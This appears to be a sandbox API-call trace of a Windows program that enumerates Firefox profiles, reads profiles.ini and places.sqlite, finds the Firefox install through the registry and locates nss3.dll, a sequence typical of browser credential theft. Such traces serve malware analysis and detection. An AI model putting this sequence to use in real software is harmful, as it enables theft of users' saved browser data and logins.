[0081.071] wcscpy (in: _Dest=0x12ba50, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0081.071] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.071] wcscat (in: _Dest=0x12ba50, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\"
[0081.071] wcscat (in: _Dest=0x12ba50, _Source="places.sqlite" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\places.sqlite") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\places.sqlite"
[0081.071] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\places.sqlite" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\firefox\\profiles\\zcf30c9i.default\\places.sqlite")) returned 0x2020
[0081.073] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\places.sqlite") returned 0x5b
[0081.073] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\places.sqlite" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\firefox\\profiles\\zcf30c9i.default\\places.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xe8
[0081.073] GetFileTime (in: hFile=0xe8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x12bcc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x12bcc4*(dwLowDateTime=0x16c60970, dwHighDateTime=0x1d2dc1c)) returned 1
[0081.073] CloseHandle (hObject=0xe8) returned 1
[0081.073] CompareFileTime (lpFileTime1=0x12bcc4, lpFileTime2=0x12bccc) returned 1
[0081.073] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default\\places.sqlite") returned 0x5b
[0081.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12baa0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0081.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12b260, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0081.073] wcslen (_String="Mozilla\\Firefox\\Profiles") returned 0x18
[0081.073] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0081.073] wcscpy (in: _Dest=0x12b890, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0081.073] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0081.073] wcscat (in: _Dest=0x12b890, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0081.073] wcscat (in: _Dest=0x12b890, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.073] wcslen (_String="Mozilla\\Firefox\\Profiles") returned 0x18
[0081.073] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0081.073] wcscpy (in: _Dest=0x12b680, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0081.073] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0081.073] wcscat (in: _Dest=0x12b680, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0081.074] wcscat (in: _Dest=0x12b680, _Source="Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
[0081.074] wcslen (_String="Mozilla\\Firefox") returned 0xf
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0081.074] wcscpy (in: _Dest=0x12b470, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0081.074] wcscat (in: _Dest=0x12b470, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0081.074] wcscat (in: _Dest=0x12b470, _Source="Mozilla\\Firefox" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox"
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcslen (_String="*.*") returned 0x3
[0081.074] wcscpy (in: _Dest=0x12a644, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcscat (in: _Dest=0x12a644, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.074] wcscat (in: _Dest=0x12a644, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*"
[0081.074] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 0x1b0ce8
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcslen (_String=".") returned 0x1
[0081.074] wcscpy (in: _Dest=0x12ab1c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcscat (in: _Dest=0x12ab1c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.074] wcscat (in: _Dest=0x12ab1c, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\."
[0081.074] wcscmp (_String1=".", _String2="..") returned -1
[0081.074] wcscmp (_String1=".", _String2=".") returned 0
[0081.074] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 1
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcslen (_String="..") returned 0x2
[0081.074] wcscpy (in: _Dest=0x12ab1c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcscat (in: _Dest=0x12ab1c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.074] wcscat (in: _Dest=0x12ab1c, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.."
[0081.074] wcscmp (_String1="..", _String2="..") returned 0
[0081.074] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 1
[0081.074] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.074] wcslen (_String="zcf30c9i.default") returned 0x10
[0081.074] wcscpy (in: _Dest=0x12ab1c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
[0081.075] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 0x3c
[0081.075] wcscat (in: _Dest=0x12ab1c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0081.075] wcscat (in: _Dest=0x12ab1c, _Source="zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0081.075] wcscmp (_String1="zcf30c9i.default", _String2="..") returned 1
[0081.075] wcscmp (_String1="zcf30c9i.default", _String2=".") returned 1
[0081.075] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.075] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 0
[0081.075] FindClose (in: hFindFile=0x1b0ce8 | out: hFindFile=0x1b0ce8) returned 1
[0081.075] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.075] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.075] wcslen (_String="*.*") returned 0x3
[0081.075] wcscpy (in: _Dest=0x12a644, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
[0081.075] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.075] wcscat (in: _Dest=0x12a644, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
[0081.075] wcscat (in: _Dest=0x12a644, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*"
[0081.075] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 0x1b0ce8
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.076] wcslen (_String=".") returned 0x1
[0081.076] wcscpy (in: _Dest=0x12ab1c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.076] wcscat (in: _Dest=0x12ab1c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
[0081.076] wcscat (in: _Dest=0x12ab1c, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\."
[0081.076] wcscmp (_String1=".", _String2="..") returned -1
[0081.076] wcscmp (_String1=".", _String2=".") returned 0
[0081.076] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 1
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.076] wcslen (_String="..") returned 0x2
[0081.076] wcscpy (in: _Dest=0x12ab1c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.076] wcscat (in: _Dest=0x12ab1c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
[0081.076] wcscat (in: _Dest=0x12ab1c, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\.."
[0081.076] wcscmp (_String1="..", _String2="..") returned 0
[0081.076] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 1
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.076] wcslen (_String="zcf30c9i.default") returned 0x10
[0081.076] wcscpy (in: _Dest=0x12ab1c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 0x3a
[0081.076] wcscat (in: _Dest=0x12ab1c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\"
[0081.076] wcscat (in: _Dest=0x12ab1c, _Source="zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0081.076] wcscmp (_String1="zcf30c9i.default", _String2="..") returned 1
[0081.076] wcscmp (_String1="zcf30c9i.default", _String2=".") returned 1
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4b
[0081.076] FindNextFileW (in: hFindFile=0x1b0ce8, lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 0
[0081.076] FindClose (in: hFindFile=0x1b0ce8 | out: hFindFile=0x1b0ce8) returned 1
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x33
[0081.076] wcslen (_String="profiles.ini") returned 0xc
[0081.076] wcscpy (in: _Dest=0x12a5f4, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox"
[0081.076] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x33
[0081.076] wcscat (in: _Dest=0x12a5f4, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\"
[0081.076] wcscat (in: _Dest=0x12a5f4, _Source="profiles.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini"
[0081.077] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0x2020
[0081.077] wcscpy (in: _Dest=0x12a808, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini"
[0081.078] wcscpy (in: _Dest=0x12aa12, _Source="General" | out: _Dest="General") returned="General"
[0081.078] _snwprintf (in: _Dest=0x12ac1c, _Count=0xff, _Format="Profile%d" | out: _Dest="Profile0") returned 8
[0081.078] wcscpy (in: _Dest=0x12aa12, _Source="Profile0" | out: _Dest="Profile0") returned="Profile0"
[0081.078] GetPrivateProfileStringW (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x12ae1c, nSize=0x104, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/zcf30c9i.default") returned 0x19
[0081.081] GetPrivateProfileIntW (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1
[0081.082] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x33
[0081.082] wcslen (_String="Profiles\\zcf30c9i.default") returned 0x19
[0081.082] wcscpy (in: _Dest=0x12a3e8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox"
[0081.082] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox") returned 0x33
[0081.082] wcscat (in: _Dest=0x12a3e8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\"
[0081.082] wcscat (in: _Dest=0x12a3e8, _Source="Profiles\\zcf30c9i.default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default"
[0081.082] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.082] _snwprintf (in: _Dest=0x12ac1c, _Count=0xff, _Format="Profile%d" | out: _Dest="Profile1") returned 8
[0081.082] wcscpy (in: _Dest=0x12aa12, _Source="Profile1" | out: _Dest="Profile1") returned="Profile1"
[0081.082] GetPrivateProfileStringW (in: lpAppName="Profile1", lpKeyName="Path", lpDefault="", lpReturnedString=0x12ae1c, nSize=0x104, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="") returned 0x0
[0081.084] GetPrivateProfileIntW (lpAppName="Profile1", lpKeyName="IsRelative", nDefault=0, lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x0
[0081.085] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\zcf30c9i.default") returned 0x4d
[0081.085] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ad14 | out: phkResult=0x12ad14*=0xe8) returned 0x0
[0081.085] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x0, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Firefox", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0081.085] _wcsnicmp (_String1="Firefox", _String2="mozilla", _MaxCount=0x7) returned -7
[0081.085] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x1, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="MaintenanceService", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0081.085] _wcsnicmp (_String1="Mainten", _String2="mozilla", _MaxCount=0x7) returned -14
[0081.085] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x2, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Mozilla Firefox", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0081.085] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
[0081.086] _snwprintf (in: _Dest=0x129ea8, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox\\bin") returned 19
[0081.086] RegOpenKeyExW (in: hKey=0xe8, lpSubKey="Mozilla Firefox\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x129e78 | out: phkResult=0x129e78*=0x0) returned 0x2
[0081.086] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x3, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x0
[0081.086] _wcsnicmp (_String1="Mozilla", _String2="mozilla", _MaxCount=0x7) returned 0
[0081.086] _snwprintf (in: _Dest=0x129ea8, _Count=0x3ff, _Format="%s\\bin" | out: _Dest="Mozilla Firefox 25.0\\bin") returned 24
[0081.087] RegOpenKeyExW (in: hKey=0xe8, lpSubKey="Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x129e78 | out: phkResult=0x129e78*=0xec) returned 0x0
[0081.087] RegQueryValueExW (in: hKey=0xec, lpValueName="PathToExe", lpReserved=0x0, lpType=0x129e5c, lpData=0x12aab8, lpcbData=0x129e60*=0x208 | out: lpType=0x129e5c*=0x1, lpData="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpcbData=0x129e60*=0x5a) returned 0x0
[0081.087] RegCloseKey (hKey=0xec) returned 0x0
[0081.087] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0081.087] wcslen (_String="nss3.dll") returned 0x8
[0081.087] wcscpy (in: _Dest=0x129c80, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0081.087] wcslen (_String="C:\\Program Files\\Mozilla Firefox") returned 0x20
[0081.087] wcscat (in: _Dest=0x129c80, _Source="\\" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\") returned="C:\\Program Files\\Mozilla Firefox\\"
[0081.087] wcscat (in: _Dest=0x129c80, _Source="nss3.dll" | out: _Dest="C:\\Program Files\\Mozilla Firefox\\nss3.dll") returned="C:\\Program Files\\Mozilla Firefox\\nss3.dll"
[0081.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files\\mozilla firefox\\nss3.dll")) returned 0x20
[0081.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\nss3.dll", lpFindFileData=0x1297c8 | out: lpFindFileData=0x1297c8) returned 0x1b0ce8
[0081.091] FindClose (in: hFindFile=0x1b0ce8 | out: hFindFile=0x1b0ce8) returned 1
[0081.091] CompareFileTime (lpFileTime1=0x12ad08, lpFileTime2=0x12ad00) returned 1
[0081.091] wcscpy (in: _Dest=0x12a6a8, _Source="C:\\Program Files\\Mozilla Firefox" | out: _Dest="C:\\Program Files\\Mozilla Firefox") returned="C:\\Program Files\\Mozilla Firefox"
[0081.091] RegEnumKeyExW (in: hKey=0xe8, dwIndex=0x4, lpName=0x12a8b8, lpcchName=0x129e88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x129e88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x129e80) returned 0x103
